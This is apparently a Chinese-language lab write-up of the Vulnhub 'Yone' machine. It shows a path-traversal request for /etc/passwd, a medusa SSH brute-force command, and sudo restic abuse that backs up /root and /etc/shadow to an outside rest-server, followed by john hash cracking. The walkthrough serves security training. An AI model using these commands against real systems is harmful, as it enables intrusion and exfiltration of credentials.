0x01 信息收集
作者:G4br1el,微信号:G4br1elsec
目标IP:x.x.x.x 尝试扫描一下端口
发现只有个22和80端口,访问80端口,发现图片显示不出来
查看下图片地址,发现是个假域名:http://yone.lc/storage/upload/01_HEADER.jpg
按照外国佬的尿性,肯定是要手动解析DNS,在kali中加上解析保存
gedit /etc/hosts
使用域名解析IP地址:
x.x.x.x yone.lc
0x02 web渗透
使用刚刚解析的域名:yone.lc用浏览器访问,发现是一个新的网页
尝试注册一个新用户
注册后访问首页,发现是一个文件上传的页面并且发现上传过两个图片
点开第一个图片,发现参数link=right.jpg
看到这种参数,觉得可以尝试下是否存在路径遍历漏洞
http://yone.lc/download?link=../../../../../../../../etc/passwd
发现确实通过路径遍历可以下载/etc/passwd文件,不过似乎没找到什么信息
我们可以找到存在yone目录,之前信息收集时候也知道开启了SSH服务,我们可以尝试对yone用户使用ssh爆破,可以用hydra或者medusa或者metasploit工具,因为hydra很卡,所以改用medusa进行爆破(可以网上多收集一些字典),输入命令:
medusa -u yone -P /root/桌面/shentou.txt -h x.x.x.x. -M ssh -F -t 10
//-u表示固定某个用户名,-P表示密码字典,-h 表示目标主机地址,-M表示爆破哪个服务,-F表示破解到一个正确的密码就退出,-t代表破解线程。参数是区分大小写的,需注意
因为这个工具没有高亮显示,使用-F后找到密码就会退出,我们就可以看一下哪条有显示SUCCESS,就说明爆破成功了,所以密码是:12345qwert
ssh [email protected]
直接用命令连接SSH
连接SSH后就说明拿到了普通用户的权限,所以我们需要拿到root权限
0x03 用户提权
如何拿取root权限呢?我们可以使用这条思路,输入sudo -l可以查看自己能用root权限来执行的文件,也就是说我们现在的普通用户能使用最高权限来执行的某个文件。
通过返回的信息,我们知道可以root权限无密码地执行/usr/bin/restic backup -r rest*这条命令。
经过百度上的搜索,我们知道restic是一个备份程序,如果 Restic 可以以 root 权限运行,那么也许我们可以访问 root 拥有的文件来提升我们的权限。
首先我们要进行安装和运行restic本地服务程序进行监听(此时需要注意一下,因为当时靶机和攻击机是同一内网,为了靶机的安全,靶机可以主动连接公网,而不能主动连接内网,所以会话是反弹失败的,所以本地服务不在kali下监听,需切换到云服务器上):
apt-get install golang
apt-get install restic
git clone https://github.com/restic/rest-server.git
cd rest-server
export GOPROXY="https://goproxy.cn"
CGO_ENABLED=0 go build -o rest-server ./cmd/rest-server //go编译安装
./rest-server --no-auth //启动服务,注意默认目录和端口
首先我们可以在yone上创建一个远程存档,然后设置密码,现在密码设置为123456
restic -r rest:http://xxx.xxx.xxx.xxx:8000/rest1 init //使用公网云服务器,所以IP地址打码
然后我们就可以使用root权限备份命令到云服务器上,此时有多种方法:我们可以直接备份root下的所有文件找到flag,也可以备份/etc/shadow文件,进行破解root用户密码。看你想达到什么目的。
以下是备份文件的命令 步骤
yone@ubuntu:/$ cd /tmp
yone@ubuntu:/tmp$ RHOST=xxx.xxx.xxx.xxx
yone@ubuntu:/tmp$ RPORT=8000
yone@ubuntu:/tmp$ LFILE=/root
yone@ubuntu:/tmp$ NAME=rest1
yone@ubuntu:/tmp$ sudo restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"
看到已经备份成功,我们切换到云服务器上。此时我们的备份文件是在/tmp/restic目录下,然后我们
root@tomcat:/tmp/restic# restic -r rest1 restore latest --target /tmp
//rest1就是我们设置的备份文件夹,这条命令就是还原备份到/tmp上
我们cd到/tmp上,ls就可以查看我们备份的root文件
此时我们已经成功拿到root.txt。本该到这里就完结,但是为了能真正拿到root权限,我们还是拿到密码吧。
0x04 root密码获取
重复上面的备份步骤,我们可以再新建一个rest2存档或者自己想办法重新备份。然后我们拿到了/etc/shadow的文件
再结合我们一开始拿到的/etc/passwd,我们可以与 unshadow 命令结合使用,将它们转换为破解密码哈希的格式。
unshadow passwd shadow > pass.txt
然后编辑转化的文件,只保留root和yone用户。
然后找到kali自带的字典rocuyou.txt去破解密码哈希
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
然后破解了一个小时左右,终于破解成功root密码:123456789!@#$%^&*(
su一下,获取到root权限
文档PDF版本
https://g4blog.oss-cn-shenzhen.aliyuncs.com/usr/uploads/2022/03/1535555712.pdf
或者点击阅读原文下载
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vulnhub靶场之Yone
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论